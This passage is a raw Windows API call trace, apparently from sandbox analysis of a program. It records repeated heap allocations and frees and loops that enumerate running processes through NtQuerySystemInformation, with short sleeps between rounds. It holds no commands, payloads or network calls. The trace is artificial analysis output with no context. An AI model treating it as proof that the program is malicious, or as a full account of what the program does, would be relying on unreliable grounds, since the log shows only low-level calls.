RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa4f0) returned 1 [0035.792] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.793] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.793] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.793] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.793] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.793] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.793] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.793] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.793] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.793] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.793] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.793] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.793] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.793] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.793] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.793] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.793] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x10) returned 0x4fa4f0 [0035.793] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa4f0) returned 1 [0035.793] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0035.793] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.793] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.793] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.793] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0035.793] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.793] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.793] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.793] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.793] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.793] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0035.794] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.794] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2c) returned 0x4daa30 [0035.794] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa30) returned 1 [0035.794] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2e) returned 0x4daa30 [0035.794] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa30) returned 1 [0035.794] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2a) returned 0x4daa30 [0035.794] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa30) returned 1 [0035.794] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x38) returned 0x4d9c28 [0035.794] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0035.794] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x36) returned 0x4d9c28 [0035.794] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0035.794] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x26) returned 0x4d8890 [0035.794] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0035.794] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1e) returned 0x4f6248 [0035.794] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.794] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x4f6248 [0035.794] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.794] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x38) returned 0x4d9c28 [0035.794] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0035.794] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x28) returned 0x4d8890 [0035.794] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0035.794] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x16) returned 0x4f6928 [0035.794] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.794] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x4f6248 [0035.794] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.795] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x16) returned 0x4f6928 [0035.795] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.795] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x40) returned 0x4d27b0 [0035.795] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d27b0) returned 1 [0035.795] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.795] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.795] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x46) returned 0x4f7148 [0035.795] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f7148) returned 1 [0035.795] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0035.795] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.795] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2e) returned 0x4daa30 [0035.795] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa30) returned 1 [0035.795] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x22) returned 0x4d8890 [0035.795] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0035.795] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x3a) returned 0x4d27b0 [0035.795] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d27b0) returned 1 [0035.795] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x34) returned 0x4d9c28 [0035.795] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0035.795] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0035.795] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.795] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.795] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.795] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.795] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.796] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0035.796] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.796] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0035.796] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.796] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0035.796] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.796] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.796] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.796] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0035.796] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.796] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.796] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.796] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0035.796] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.796] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x5013c0) returned 1 [0035.796] Sleep (dwMilliseconds=0x64) [0036.056] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1024) returned 0x503898 [0036.056] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x503898, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x503898, ResultLength=0x0) returned 0xc0000004 [0036.057] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x503898, Size=0x2048) returned 0x503898 [0036.057] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x503898, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x503898, ResultLength=0x0) returned 0xc0000004 [0036.057] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x503898, Size=0x306c) returned 0x503898 [0036.057] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x503898, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x503898, ResultLength=0x0) returned 0xc0000004 [0036.057] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x503898, Size=0x4090) returned 0x503898 [0036.057] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x503898, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x503898, ResultLength=0x0) returned 0xc0000004 [0036.057] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x503898, Size=0x50b4) returned 0x503898 [0036.057] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x503898, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x503898, ResultLength=0x0) returned 0xc0000004 [0036.057] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x503898, Size=0x60d8) returned 0x503898 [0036.057] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x503898, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x503898, ResultLength=0x0) returned 0xc0000004 [0036.057] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x503898, Size=0x70fc) returned 0x503898 [0036.057] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x503898, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x503898, ResultLength=0x0) returned 0xc0000004 [0036.058] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x503898, Size=0x8120) returned 0x503898 [0036.058] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x503898, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x503898, ResultLength=0x0) returned 0xc0000004 [0036.058] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x503898, Size=0x9144) returned 0x503898 [0036.058] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x503898, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x503898, ResultLength=0x0) returned 0xc0000004 [0036.058] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x503898, Size=0xa168) returned 0x503898 [0036.058] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x503898, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x503898, ResultLength=0x0) returned 0xc0000004 [0036.058] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x503898, Size=0xb18c) returned 0x503898 [0036.058] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x503898, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x503898, ResultLength=0x0) returned 0xc0000004 [0036.058] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x503898, Size=0xc1b0) returned 0x503898 [0036.058] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x503898, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x503898, ResultLength=0x0) returned 0xc0000004 [0036.058] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x503898, Size=0xd1d4) returned 0x503898 [0036.058] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x503898, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x503898, ResultLength=0x0) returned 0x0 [0036.059] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2) returned 0x4e88e0 [0036.059] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e88e0) returned 1 [0036.059] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xe) returned 0x4fa4f0 [0036.059] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa4f0) returned 1 [0036.059] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x12) returned 0x4f6928 [0036.059] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.059] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0036.059] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.059] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.059] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.059] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0036.059] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.059] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0036.059] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0036.059] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0036.059] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0036.059] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0036.059] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.059] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x10) returned 0x4fa4f0 [0036.059] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa4f0) returned 1 [0036.059] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.059] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.059] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.060] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.060] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.060] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.060] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.060] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.060] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.060] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.060] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.060] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.060] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.060] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.060] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.060] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.060] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x10) returned 0x4fa4f0 [0036.060] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa4f0) returned 1 [0036.060] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0036.060] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0036.060] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.060] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.060] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0036.060] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0036.060] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.060] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.060] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.060] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.060] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0036.060] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0036.060] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2c) returned 0x4daa30 [0036.061] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa30) returned 1 [0036.061] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2e) returned 0x4daa30 [0036.061] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa30) returned 1 [0036.061] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2a) returned 0x4daa30 [0036.061] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa30) returned 1 [0036.061] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x38) returned 0x4d9c28 [0036.061] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0036.061] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x36) returned 0x4d9c28 [0036.061] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0036.061] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x26) returned 0x4d8890 [0036.061] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0036.061] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1e) returned 0x4f6248 [0036.061] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0036.061] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x4f6248 [0036.061] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0036.061] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x38) returned 0x4d9c28 [0036.061] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0036.061] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x28) returned 0x4d8890 [0036.061] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0036.061] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x16) returned 0x4f6928 [0036.061] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.061] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x4f6248 [0036.061] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0036.061] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x16) returned 0x4f6928 [0036.061] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.061] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x40) returned 0x4d27f8 [0036.061] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d27f8) returned 1 [0036.062] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.062] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.062] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x46) returned 0x4f7148 [0036.062] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f7148) returned 1 [0036.062] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0036.062] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.062] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2e) returned 0x4daa30 [0036.062] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa30) returned 1 [0036.062] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x22) returned 0x4d8890 [0036.062] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0036.062] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x3a) returned 0x4d27f8 [0036.062] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d27f8) returned 1 [0036.062] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x34) returned 0x4d9c28 [0036.062] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0036.062] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0036.062] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0036.062] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.062] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.062] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.062] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.062] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0036.062] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0036.062] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0036.062] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0036.062] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0036.062] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0036.062] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.062] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.063] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0036.063] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0036.063] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.063] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.063] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0036.063] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.063] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503898) returned 1 [0036.063] Sleep (dwMilliseconds=0x64) [0036.445] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1024) returned 0x4ffd50 [0036.445] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4ffd50, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x4ffd50, ResultLength=0x0) returned 0xc0000004 [0036.446] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4ffd50, Size=0x2048) returned 0x5044f8 [0036.446] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.446] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x306c) returned 0x5044f8 [0036.446] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.446] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x4090) returned 0x5044f8 [0036.446] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.446] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x50b4) returned 0x5044f8 [0036.446] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.446] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x60d8) returned 0x5044f8 [0036.446] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.446] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x70fc) returned 0x5044f8 [0036.446] 